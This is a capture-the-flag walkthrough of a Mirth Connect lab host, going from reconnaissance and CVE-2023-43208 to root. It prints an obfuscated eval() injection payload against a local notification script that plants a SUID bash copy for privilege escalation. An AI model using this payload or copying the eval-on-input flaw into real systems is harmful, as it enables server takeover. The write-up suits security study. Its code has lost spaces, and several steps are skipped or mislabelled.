A healthcare integration platform exposes an unpatched RCE, but cracking a non-standard password scheme is only the halfway point — getting to root means finding the flaw hidden inside a server that claims to be safe.
$ ip=10.129.3.194; ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr'\n'',' | sed s/,$//); nmap -p$ports -sC -sV $ip Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-22 08:30 -0500 Nmap scan report for 10.129.3.194 Host is up (0.30s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0) | ssh-hostkey: | 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA) |_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519) 80/tcp open http Jetty |_http-title: Mirth Connect Administrator | http-methods: |_ Potentially risky methods: TRACE 443/tcp open ssl/http Jetty |_ssl-date: TLS randomness does not represent time |_http-title: Mirth Connect Administrator | ssl-cert: Subject: commonName=mirth-connect | Not valid before: 2025-09-19T12:50:05 |_Not valid after: 2075-09-19T12:50:05 | http-methods: |_ Potentially risky methods: TRACE 6661/tcp open unknown Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 196.05 seconds
Findings:
tcp/22: OpenSSH 9.2p1 (Debian)
tcp/80: Jetty
tcp/443: Jetty (HTTPS)
Foothold
Visiting https://10.129.3.194 redirects to the web admin login page for Mirth Connect by Nextgen.
Clicking Launch Mirth Connect Administrator downloads webstart.jnlp, which indicates the version is v4.0.0.
This version is vulnerable to CVE-2023-43208, which allows unauthenticated RCE.
sedric@interpreter:~$ cd /tmp sedric@interpreter:/tmp$ chmod +x linpeas.sh sedric@interpreter:/tmp$ ./linpeas.sh
notif.py Analysis
We discover a readable Python file:
1 2
╔══════════╣ Readable files belonging to root and readable by me but not world readable -rw-r----- 1 root sedric 33 Feb 22 08:26 /home/sedric/user.txt -rwxr----- 1 root sedric 2332 Sep 19 09:27 /usr/local/bin/notif.py
Reviewing the script, it appears we can exploit the eval() call by sending a POST request to http://127.0.0.1:54321/addPatien with malicious XML values.
sedric@interpreter:/tmp$ cat /usr/local/bin/notif.py #!/usr/bin/env python3 """ Notification server for added patients. This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/. It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine. It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function. """ from flask import Flask, request, abort import re import uuid from datetime import datetime import xml.etree.ElementTree as ET, os
deftemplate(first, last, sender, ts, dob, gender): pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$") for s in [first, last, sender, ts, dob, gender]: ifnot pattern.fullmatch(s): return"[INVALID_INPUT]" # DOB format is DD/MM/YYYY try: year_of_birth = int(dob.split('/')[-1]) if year_of_birth < 1900or year_of_birth > datetime.now().year: return"[INVALID_DOB]" except: return"[INVALID_DOB]" template = f"Patient {first}{last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}" try: returneval(f"f'''{template}'''") except Exception as e: returnf"[EVAL_ERROR] {e}"
@app.route("/addPatient", methods=["POST"]) defreceive(): if request.remote_addr != "127.0.0.1": abort(403) try: xml_text = request.data.decode() xml_root = ET.fromstring(xml_text) except ET.ParseError: return"XML ERROR\n", 400 patient = xml_root if xml_root.tag=="patient"else xml_root.find("patient") if patient isNone: return"No <patient> tag found\n", 400 id = uuid.uuid4().hex data = {tag: (patient.findtext(tag) or"") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]} notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"]) path = os.path.join(USER_DIR,f"{id}.txt") withopen(path,"w") as f: f.write(notification+"\n") return notification
if __name__=="__main__": app.run("127.0.0.1",54321, threaded=True)
Eval Proof
Test by sending 1+1 and confirming it gets evaluated:
xml = b'''<?xml version="1.0"?> <patient> <firstname>{__import__('os').popen(chr(99)+chr(112)+chr(32)+chr(47)+chr(98)+chr(105)+chr(110)+chr(47)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(101)+chr(118)+chr(105)+chr(108)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(38)+chr(38)+chr(32)+chr(99)+chr(104)+chr(109)+chr(111)+chr(100)+chr(32)+chr(117)+chr(43)+chr(115)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(101)+chr(118)+chr(105)+chr(108)+chr(98)+chr(97)+chr(115)+chr(104))}</firstname> <lastname>Doe</lastname> <sender_app>MirthConnect</sender_app> <timestamp>20260222T120000</timestamp> <birth_date>01/01/2000</birth_date> <gender>M</gender> </patient>''' req = urllib.request.Request( "http://127.0.0.1:54321/addPatient", data=xml, headers={"Content-Type": "application/xml"}, method="POST", ) with urllib.request.urlopen(req) as r: print(r.read().decode()) PY Patient <os._wrap_close object at 0x7fe92e93ee90> Doe (M), 26 years old, received from MirthConnect at 20260222T120000
Root Shell
Running bash with -p tells bash not to drop privileges. This allows us to escalate to root and get the flag.
1 2 3 4 5 6 7
sedric@interpreter:/tmp$ ls -l total 1264 -rwsr-xr-x 1 root root 1265648 Feb 22 19:38 evilbash <-SNIP->